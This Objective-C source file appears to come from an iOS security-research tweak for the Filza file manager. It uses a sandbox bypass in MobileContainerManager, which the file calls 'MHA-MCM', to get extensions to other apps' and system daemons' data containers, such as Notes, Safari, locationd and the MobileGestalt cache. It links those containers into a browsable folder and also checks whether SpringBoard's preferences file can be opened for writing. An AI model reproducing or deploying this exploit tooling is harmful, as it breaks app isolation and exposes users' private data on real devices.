|
|
|
|
"MobileGestalt route summary\n"
|
|
"Direct route: class-13 well-known-group authorization gap -> MobileGestalt Caches.\n"
|
|
"Pivot route: class-12 geod allow path -> part-3 domain traversal -> MobileGestalt Caches.\n"
|
|
"Both routes reach the same fixed target. Neither route proves arbitrary /var access.\n"
|
|
"No result here claims root, kernel, Keychain, TCC, or app-bundle access.\n\n"
|
|
|
|
"Current Filza access\n"
|
|
"The sections below are generated during the current launch.\n"
|
|
"Only direct symlinks created after token activation and a directory-open check appear as enabled roots.\n"
|
|
"Experimental sections also show each checked subpath and its current open status.\n\n"];
|
|
}
|
|
|
|
static NSString *MCMSpringBoardPreferencesWriteCheck(void)
|
|
{
|
|
static const char *target =
|
|
"/private/var/mobile/Library/Preferences/com.apple.springboard.plist";
|
|
struct stat targetStatus = {0};
|
|
errno = 0;
|
|
int statResult = lstat(target, &targetStatus);
|
|
int statErrno = statResult == 0 ? 0 : errno;
|
|
|
|
errno = 0;
|
|
int readDescriptor = open(target, O_RDONLY | O_CLOEXEC | O_NOFOLLOW);
|
|
int readErrno = readDescriptor >= 0 ? 0 : errno;
|
|
if (readDescriptor >= 0) close(readDescriptor);
|
|
|
|
errno = 0;
|
|
int writeDescriptor = open(target, O_RDWR | O_CLOEXEC | O_NOFOLLOW);
|
|
int writeErrno = writeDescriptor >= 0 ? 0 : errno;
|
|
if (writeDescriptor >= 0) close(writeDescriptor);
|
|
|
|
NSString *verdict = nil;
|
|
const char *notification = NULL;
|
|
if (writeDescriptor >= 0) {
|
|
verdict = @"WRITABLE-DESCRIPTOR";
|
|
notification =
|
|
"local.research.mcm.springboardprefs.writable";
|
|
} else if (writeErrno == EPERM || writeErrno == EACCES) {
|
|
verdict = @"DENIED";
|
|
notification =
|
|
"local.research.mcm.springboardprefs.denied";
|
|
} else if (writeErrno == ENOENT) {
|
|
verdict = @"MISSING";
|
|
notification =
|
|
"local.research.mcm.springboardprefs.missing";
|
|
} else {
|
|
verdict = @"ERROR";
|
|
notification =
|
|
"local.research.mcm.springboardprefs.error";
|
|
}
|
|
int notifyResult = notify_post(notification);
|
|
|
|
return [NSString stringWithFormat:
|
|
@"SpringBoard preferences exact write-authority check\n"
|
|
"Target: %s\n"
|
|
"Method: open with O_RDWR | O_CLOEXEC | O_NOFOLLOW after all current MCM routes were activated.\n"
|
|
"Result: %@; open errno=%d (%s).\n"
|
|
"Read-only open: %@; errno=%d (%s).\n"
|
|
"Target metadata: lstat=%@; errno=%d (%s); mode=%04o; uid=%u; gid=%u.\n"
|
|
"No bytes were written. The probe did not rename, replace, truncate, or unlink the target.\n"
|
|
"Host notification: %s; notify_post=%d.\n\n",
|
|
target, verdict, writeErrno, strerror(writeErrno),
|
|
readDescriptor >= 0 ? @"allowed" : @"denied",
|
|
readErrno, strerror(readErrno),
|
|
statResult == 0 ? @"present" : @"unavailable",
|
|
statErrno, strerror(statErrno),
|
|
statResult == 0 ? targetStatus.st_mode & 07777 : 0,
|
|
statResult == 0 ? targetStatus.st_uid : 0,
|
|
statResult == 0 ? targetStatus.st_gid : 0,
|
|
notification, notifyResult];
|
|
}
|
|
|
|
static void MCMWriteAccessMap(NSFileManager *manager, NSString *root)
|
|
{
|
|
NSArray<NSDictionary<NSString *, NSString *> *> *categories = @[
|
|
@{@"Name": kMCMAppDataDirectoryName,
|
|
@"Primitive": @"MHA-MCM class 2 application-data lookup and sandbox extension"},
|
|
@{@"Name": kMCMAppGroupsDirectoryName,
|
|
@"Primitive": @"MHA-MCM class 7 app-group lookup and sandbox extension"},
|
|
@{@"Name": kMCMExtensionDataDirectoryName,
|
|
@"Primitive": @"MHA-MCM class 4 extension-data lookup and sandbox extension"},
|
|
@{@"Name": kMCMVPNDataDirectoryName,
|
|
@"Primitive": @"MHA-MCM class 6 VPN-data lookup and sandbox extension"},
|
|
@{@"Name": kMCMServiceDataDirectoryName,
|
|
@"Primitive": @"MHA-MCM class 10 service-data lookup and sandbox extension"},
|
|
@{@"Name": kMCMSystemDataDirectoryName,
|
|
@"Primitive": @"MHA-MCM class 12 system-data lookup and sandbox extension"},
|
|
@{@"Name": kMCMSystemGroupsDirectoryName,
|
|
@"Primitive": @"MHA-MCM class 13 system-group lookup and sandbox extension"},
|
|
@{@"Name": kMCMProtectedDataDirectoryName,
|
|
@"Primitive": @"MHA-MCM class 15 protected-data lookup and sandbox extension"},
|
|
@{@"Name": kMCMAdditionalLocationsDirectoryName,
|
|
@"Primitive": @"MHA-MCM class 13 scoped part-domain lookup and sandbox extension"},
|
|
@{@"Name": kMCMExperimentalDirectoryName,
|
|
@"Primitive": @"MHA-MCM scoped class 10, 12, 13, and 15 probes"},
|
|
];
|
|
|
|
NSMutableString *map = [NSMutableString stringWithFormat:
|
|
@"MobileContainerManager and MobileGestalt complete map\n\n"
|
|
"MHA-MCM means the MobileHouseArrest identity-trust bypass in MobileContainerManager.\n"
|
|
"Build-specific proof is labeled below. The current device is %@.\n"
|
|
"The map records roots and preselected probe subpaths. It does not enumerate files inside target containers.\n\n",
|
|
NSProcessInfo.processInfo.operatingSystemVersionString];
|
|
MCMAppendUnifiedFindingMap(map);
|
|
[map appendString:MCMSpringBoardPreferencesWriteCheck()];
|
|
|
|
for (NSDictionary<NSString *, NSString *> *category in categories) {
|
|
NSString *name = category[@"Name"];
|
|
NSString *primitive = category[@"Primitive"];
|
|
NSString *directory = [root stringByAppendingPathComponent:name];
|
|
BOOL isDirectory = NO;
|
|
BOOL present = [manager fileExistsAtPath:directory
|
|
isDirectory:&isDirectory] && isDirectory;
|
|
NSArray<NSDictionary<NSString *, NSString *> *> *entries = present
|
|
? MCMSymlinkAccessEntries(manager, directory) : @[];
|
|
|
|
NSMutableString *section = [NSMutableString stringWithFormat:
|
|
@"%@\nPrimitive: %@\n", name, primitive];
|
|
if (!present)
|
|
[section appendString:@"Status: folder absent; no root was enabled.\n"];
|
|
else
|
|
MCMAppendSymlinkAccess(section, entries);
|
|
if ([name isEqualToString:kMCMExperimentalDirectoryName])
|
|
MCMAppendExperimentalSubpaths(section, directory);
|
|
[section appendString:@"\n"];
|
|
[map appendString:section];
|
|
if (present) MCMWriteAccessReadme(manager, directory, section);
|
|
}
|
|
|
|
NSString *wallpaperDirectory = [root
|
|
stringByAppendingPathComponent:kMCMWallpaperLabDirectoryName];
|
|
NSString *wallpaperSection = [NSString stringWithFormat:
|
|
@"%@\n"
|
|
"Primitive: MHA-MCM class 2 application-data lookup for com.apple.PosterBoard.\n"
|
|
"Status: this folder is local staging. PosterBoard access starts only during a Wallpaper Lab action.\n"
|
|
"Potential target root: the class-2 com.apple.PosterBoard data container returned during that action.\n\n",
|
|
kMCMWallpaperLabDirectoryName];
|
|
[map appendString:wallpaperSection];
|
|
MCMWriteAccessReadme(manager, wallpaperDirectory, wallpaperSection);
|
|
|
|
[map appendString:
|
|
@"Files Traversal\n"
|
|
"Primitive: Apple Files relative-symlink portal experiment.\n"
|
|
"Status: disabled. This build removes the folder and enables no Files Traversal path.\n\n"
|
|
"Boundary: no arbitrary /var, Keychain, TCC, root, kernel, or app-bundle access is claimed.\n"];
|
|
|
|
NSString *mapPath = [root stringByAppendingPathComponent:@"ACCESS MAP.txt"];
|
|
MCMWriteGeneratedString(map, mapPath);
|
|
}
|
|
|
|
static void MCMPruneEmptyGeneratedDirectory(NSString *directory)
|
|
{
|
|
NSFileManager *fm = NSFileManager.defaultManager;
|
|
NSArray<NSString *> *entries = [fm contentsOfDirectoryAtPath:directory
|
|
error:nil];
|
|
for (NSString *entry in entries ?: @[]) {
|
|
NSString *path = [directory stringByAppendingPathComponent:entry];
|
|
struct stat status = {0};
|
|
if (lstat(path.fileSystemRepresentation, &status) != 0 ||
|
|
!S_ISLNK(status.st_mode))
|
|
continue;
|
|
|
|
NSArray *targetEntries = [fm contentsOfDirectoryAtPath:path error:nil];
|
|
if (targetEntries.count == 0) {
|
|
unlink(path.fileSystemRepresentation);
|
|
NSLog(@"[MCMFilza] removed empty generated link path=%@", path);
|
|
}
|
|
}
|
|
|
|
entries = [fm contentsOfDirectoryAtPath:directory error:nil];
|
|
if (entries.count == 0 && rmdir(directory.fileSystemRepresentation) == 0)
|
|
NSLog(@"[MCMFilza] removed empty category path=%@", directory);
|
|
}
|
|
|
|
void MCMFilzaStart(void)
|
|
{
|
|
static dispatch_once_t onceToken;
|
|
dispatch_once(&onceToken, ^{
|
|
MCMEnsureState();
|
|
if (MCMFilzaIsRunningInLiveContainer()) {
|
|
MCMInstallLiveContainerRoot();
|
|
return;
|
|
}
|
|
NSString *actual = MCMSignedCodeIdentifier();
|
|
if (![actual isEqualToString:kRequiredIdentifier]) {
|
|
NSLog(@"[MCMFilza] disabled: signed code identifier %@ must be %@ (bundle=%@)",
|
|
actual, kRequiredIdentifier, NSBundle.mainBundle.bundleIdentifier);
|
|
return;
|
|
}
|
|
if (!MCMBridgeAvailable()) {
|
|
NSLog(@"[MCMFilza] disabled: ContainerManager symbols unavailable");
|
|
return;
|
|
}
|
|
NSFileManager *fm = NSFileManager.defaultManager;
|
|
NSString *root = MCMFilzaVirtualRoot();
|
|
NSString *legacyRoot = [root.stringByDeletingLastPathComponent
|
|
stringByAppendingPathComponent:@"MCM Containers"];
|
|
if ([fm fileExistsAtPath:legacyRoot] && ![fm fileExistsAtPath:root])
|
|
[fm moveItemAtPath:legacyRoot toPath:root error:nil];
|
|
else if ([fm fileExistsAtPath:legacyRoot])
|
|
[fm removeItemAtPath:legacyRoot error:nil];
|
|
MCMMigrateLegacyTopLevelNames(fm, root);
|
|
NSString *apps = [root stringByAppendingPathComponent:kMCMAppDataDirectoryName];
|
|
NSString *groups = [root stringByAppendingPathComponent:kMCMAppGroupsDirectoryName];
|
|
NSString *extensions = [root
|
|
stringByAppendingPathComponent:kMCMExtensionDataDirectoryName];
|
|
NSString *vpnData = [root stringByAppendingPathComponent:kMCMVPNDataDirectoryName];
|
|
NSString *serviceData = [root
|
|
stringByAppendingPathComponent:kMCMServiceDataDirectoryName];
|
|
NSString *systemData = [root
|
|
stringByAppendingPathComponent:kMCMSystemDataDirectoryName];
|
|
NSString *systemGroups = [root
|
|
stringByAppendingPathComponent:kMCMSystemGroupsDirectoryName];
|
|
NSString *protectedData = [root
|
|
stringByAppendingPathComponent:kMCMProtectedDataDirectoryName];
|
|
NSString *additionalLocations = [root
|
|
stringByAppendingPathComponent:kMCMAdditionalLocationsDirectoryName];
|
|
NSString *experimental = [root
|
|
stringByAppendingPathComponent:kMCMExperimentalDirectoryName];
|
|
NSString *filesTraversal = [root stringByAppendingPathComponent:@"Files Traversal"];
|
|
[fm removeItemAtPath:filesTraversal error:nil];
|
|
for (NSString *directory in @[root, apps, groups, extensions, vpnData,
|
|
serviceData, systemData, systemGroups,
|
|
protectedData, additionalLocations,
|
|
experimental])
|
|
[fm createDirectoryAtPath:directory withIntermediateDirectories:YES
|
|
attributes:@{NSFilePosixPermissions: @0700} error:nil];
|
|
MCMInstallArchiveAlias(fm, root);
|
|
MCMResetAppLinksForTesting(apps);
|
|
|
|
NSMutableOrderedSet *appIdentifiers = [NSMutableOrderedSet orderedSetWithArray:
|
|
MCMDynamicIdentifiers(2)];
|
|
[appIdentifiers addObjectsFromArray:MCMInstalledApplicationIdentifiers()];
|
|
NSArray<NSString *> *launchServicesIdentifiers =
|
|
MCMLaunchServicesStoreIdentifiers();
|
|
// Keep the proven targets as a compatibility fallback when metadata
|
|
// enumeration is denied or incomplete on a particular build.
|
|
[appIdentifiers addObjectsFromArray:MCMResearchTargetIdentifiers()];
|
|
NSDictionary *custom = MCMCustomIdentifiers();
|
|
for (id value in [custom[@"AppData"] isKindOfClass:NSArray.class] ? custom[@"AppData"] : @[])
|
|
if ([value isKindOfClass:NSString.class] && MCMSafeIdentifier(value)) [appIdentifiers addObject:value];
|
|
for (NSString *identifier in appIdentifiers)
|
|
MCMInstallLink(apps, identifier, 2, NO);
|
|
for (NSString *identifier in launchServicesIdentifiers)
|
|
if (![appIdentifiers containsObject:identifier])
|
|
MCMInstallLinkWithFailureLogging(apps, identifier, 2, NO, NO);
|
|
MCMLogExpectedIdentifierCoverage(@"App Data links",
|
|
[NSSet setWithArray:[fm contentsOfDirectoryAtPath:apps error:nil] ?: @[]]);
|
|
NSMutableOrderedSet *groupIdentifiers = [NSMutableOrderedSet orderedSetWithArray:
|
|
MCMDynamicIdentifiers(7)];
|
|
[groupIdentifiers addObjectsFromArray:@[
|
|
@"group.com.apple.notes",
|
|
@"group.com.apple.safari",
|
|
@"group.com.apple.weather",
|
|
@"group.com.apple.stocks",
|
|
]];
|
|
for (id value in [custom[@"AppGroups"] isKindOfClass:NSArray.class] ? custom[@"AppGroups"] : @[])
|
|
if ([value isKindOfClass:NSString.class] && MCMSafeIdentifier(value))
|
|
[groupIdentifiers addObject:value];
|
|
for (NSString *identifier in groupIdentifiers)
|
|
MCMInstallLink(groups, identifier, 7, YES);
|
|
NSMutableOrderedSet *extensionIdentifiers = [NSMutableOrderedSet orderedSetWithArray:
|
|
MCMDynamicIdentifiers(4)];
|
|
for (id value in [custom[@"ExtensionData"] isKindOfClass:NSArray.class] ? custom[@"ExtensionData"] : @[])
|
|
if ([value isKindOfClass:NSString.class] && MCMSafeIdentifier(value))
|
|
[extensionIdentifiers addObject:value];
|
|
for (NSString *identifier in extensionIdentifiers)
|
|
MCMInstallLink(extensions, identifier, 4, NO);
|
|
|
|
MCMInstallDirectFilesystemLinks(apps,
|
|
@"/private/var/mobile/Containers/Data/Application");
|
|
MCMInstallDirectFilesystemLinks(groups,
|
|
@"/private/var/mobile/Containers/Shared/AppGroup");
|
|
MCMInstallDirectFilesystemLinks(extensions,
|
|
@"/private/var/mobile/Containers/Data/PluginKitPlugin");
|
|
|
|
NSArray<NSDictionary *> *additionalCategories = @[
|
|
@{@"Directory": vpnData, @"Class": @6, @"Group": @(NO),
|
|
@"CustomKey": @"VPNData", @"Fallback": @[]},
|
|
@{@"Directory": serviceData, @"Class": @10, @"Group": @(NO),
|
|
@"CustomKey": @"ServiceData", @"Fallback": @[
|
|
@"com.apple.swcd", @"com.apple.familycircled",
|
|
@"com.apple.locationd", @"com.apple.installd",
|
|
@"com.apple.accountsd", @"com.apple.itunescloudd",
|
|
@"com.apple.nanonewscd"]},
|
|
@{@"Directory": systemData, @"Class": @12, @"Group": @(NO),
|
|
@"CustomKey": @"SystemData", @"Fallback": @[
|
|
@"com.apple.eligibilityd", @"com.apple.geod",
|
|
@"com.apple.springboard"]},
|
|
@{@"Directory": systemGroups, @"Class": @13, @"Group": @(YES),
|
|
@"CustomKey": @"SystemGroups", @"Fallback": @[
|
|
@"systemgroup.com.apple.configurationprofiles",
|
|
@"systemgroup.com.apple.pisco.suinfo",
|
|
@"systemgroup.com.apple.lsd.iconscache",
|
|
@"systemgroup.com.apple.icloud.findmydevice.managed",
|
|
@"systemgroup.com.apple.ondemandresources",
|
|
@"systemgroup.com.apple.mobilegestaltcache",
|
|
@"systemgroup.com.apple.nsurlstoragedresources",
|
|
@"systemgroup.com.apple.installcoordinationd",
|
|
@"systemgroup.com.apple.osanalytics",
|
|
@"systemgroup.com.apple.ContainerManagerTest.fixed"]},
|
|
@{@"Directory": protectedData, @"Class": @15, @"Group": @(NO),
|
|
@"CustomKey": @"ProtectedData", @"Fallback": @[
|
|
@"com.apple.appmanagedfeaturesd"]},
|
|
];
|
|
for (NSDictionary *category in additionalCategories) {
|
|
uint64_t containerClass = [category[@"Class"] unsignedLongLongValue];
|
|
NSMutableOrderedSet<NSString *> *identifiers =
|
|
[NSMutableOrderedSet orderedSetWithArray:
|
|
MCMDynamicIdentifiers(containerClass)];
|
|
[identifiers addObjectsFromArray:category[@"Fallback"]];
|
|
NSString *customKey = category[@"CustomKey"];
|
|
for (id value in [custom[customKey] isKindOfClass:NSArray.class]
|
|
? custom[customKey] : @[])
|
|
if ([value isKindOfClass:NSString.class] && MCMSafeIdentifier(value))
|
|
[identifiers addObject:value];
|
|
for (NSString *identifier in identifiers)
|
|
MCMInstallLink(category[@"Directory"], identifier, containerClass,
|
|
[category[@"Group"] boolValue]);
|
|
}
|
|
|
|
MCMInstallDirectFilesystemLinks(vpnData,
|
|
@"/private/var/mobile/Containers/Data/VPNPlugin");
|
|
MCMInstallDirectFilesystemLinks(serviceData,
|
|
@"/private/var/mobile/Containers/Data/InternalDaemon");
|
|
MCMInstallDirectFilesystemLinks(systemData,
|
|
@"/private/var/mobile/Containers/Data/System");
|
|
MCMInstallDirectFilesystemLinks(systemGroups,
|
|
@"/private/var/mobile/Containers/Shared/SystemGroup");
|
|
MCMInstallDirectFilesystemLinks(protectedData,
|
|
@"/private/var/mobile/Containers/Data/Protected");
|
|
|
|
// These part-domain lookups remain inside their server-selected system
|
|
// group. They expose proven sibling directories but do not grant an
|
|
// arbitrary path outside the managed group root.
|
|
NSArray<NSArray<NSString *> *> *additionalLocationMigrations = @[
|
|
@[@"Install Coordination", @"[MHA-C13] Install Coordination"],
|
|
@[@"Configuration Profiles", @"[MHA-C13] Configuration Profiles"],
|
|
@[@"MobileGestalt Cache", @"[MHA-C13] MobileGestalt Cache"],
|
|
];
|
|
for (NSArray<NSString *> *migration in additionalLocationMigrations)
|
|
MCMMigrateStorageEntry(fm, additionalLocations,
|
|
migration[0], migration[1]);
|
|
|
|
MCMInstallScopedLink(additionalLocations,
|
|
@"[MHA-C13] Install Coordination", 13,
|
|
@"systemgroup.com.apple.installcoordinationd", YES, 3,
|
|
@"../InstallCoordination");
|
|
// Use the group root here. A part-3 ConfigurationProfiles lookup can
|
|
// run the ContainerManager directory finalizer on the resolved path.
|
|
MCMInstallScopedLink(additionalLocations,
|
|
@"[MHA-C13] Configuration Profiles", 13,
|
|
@"systemgroup.com.apple.configurationprofiles", YES, 0, nil);
|
|
MCMInstallScopedLink(additionalLocations,
|
|
@"[MHA-C13] MobileGestalt Cache", 13,
|
|
@"systemgroup.com.apple.mobilegestaltcache", YES, 3, nil);
|
|
MCMInstallExperimentalFolder(experimental);
|
|
if (!gUnrestrictedFilesystem) {
|
|
for (NSString *directory in @[apps, groups, extensions, vpnData,
|
|
serviceData, systemData, systemGroups,
|
|
protectedData, additionalLocations])
|
|
MCMPruneEmptyGeneratedDirectory(directory);
|
|
}
|
|
MCMWriteAccessMap(fm, root);
|
|
MCMWriteInstructions();
|
|
MCMRunGeneratedDeletionProbe(fm, root);
|
|
NSError *listError = nil;
|
|
NSArray *visibleEntries = [fm contentsOfDirectoryAtPath:root error:&listError];
|
|
NSLog(@"[MCMFilza] ready root=%@ active_leases=%lu entries=%@ list_error=%@", root,
|
|
(unsigned long)gLeases.count, visibleEntries, listError);
|
|
});
|
|
}
|